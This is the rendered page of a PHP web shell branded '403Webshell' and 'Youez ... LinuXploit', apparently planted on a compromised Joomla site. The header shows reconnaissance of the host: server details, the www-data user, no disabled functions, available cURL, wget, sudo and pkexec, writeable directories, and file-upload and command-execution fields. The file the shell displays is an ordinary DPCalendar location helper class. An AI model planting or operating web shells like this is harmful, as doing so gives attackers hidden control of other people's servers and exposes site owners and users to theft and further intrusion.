403Webshell
Server IP : 104.21.84.107  /  Your IP : 104.23.197.209
Web Server : Apache/2.4.63 (Ubuntu)
System : Linux adminpruebas-Virtual-Machine 6.14.0-37-generic #37-Ubuntu SMP PREEMPT_DYNAMIC Fri Nov 14 22:10:32 UTC 2025 x86_64
User : www-data ( 33)
PHP Version : 8.4.5
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/fcs/administrator/components/com_dpcalendar/src/Helper/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/fcs/administrator/components/com_dpcalendar/src/Helper/Location.php
<?php
/**
 * @package   DPCalendar
 * @copyright Copyright (C) 2017 Digital Peak GmbH. <https://www.digital-peak.com>
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU/GPL
 */

namespace DigitalPeak\Component\DPCalendar\Administrator\Helper;

\defined('_JEXEC') or die();

use DigitalPeak\Component\DPCalendar\Administrator\Model\GeoModel;
use Joomla\CMS\Factory;

class Location
{
	public static function getDirectionsLink(\stdClass $location, int $zoom = 6): string
	{
		return self::getModel()->getDirectionsLink($location, $zoom);
	}

	public static function getMapLink(\stdClass $location, int $zoom = 6): string
	{
		return self::getModel()->getMapLink($location, $zoom);
	}

	public static function format(array|\stdClass $locations): string
	{
		return self::getModel()->format($locations);
	}

	public static function get(string $location, bool $fill = true, ?string $title = null): \stdClass
	{
		return self::getModel()->getLocation($location, $fill, $title);
	}

	public static function search(string $address): array
	{
		return self::getModel()->search($address);
	}

	public static function getLocations(array $locationIds): array
	{
		return self::getModel()->getLocations($locationIds);
	}

	public static function within(\stdClass $location, float $latitude, float $longitude, float $radius): bool
	{
		return self::getModel()->within($location, $latitude, $longitude, $radius);
	}

	public static function getColor(\stdClass $location): string
	{
		return self::getModel()->getColor($location);
	}

	public static function getCountryForIp(): ?\stdClass
	{
		return self::getModel()->getCountryForIp();
	}

	private static function getModel(): GeoModel
	{
		return Factory::getApplication()->bootComponent('dpcalendar')->getMVCFactory()->createModel('Geo', 'Administrator');
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit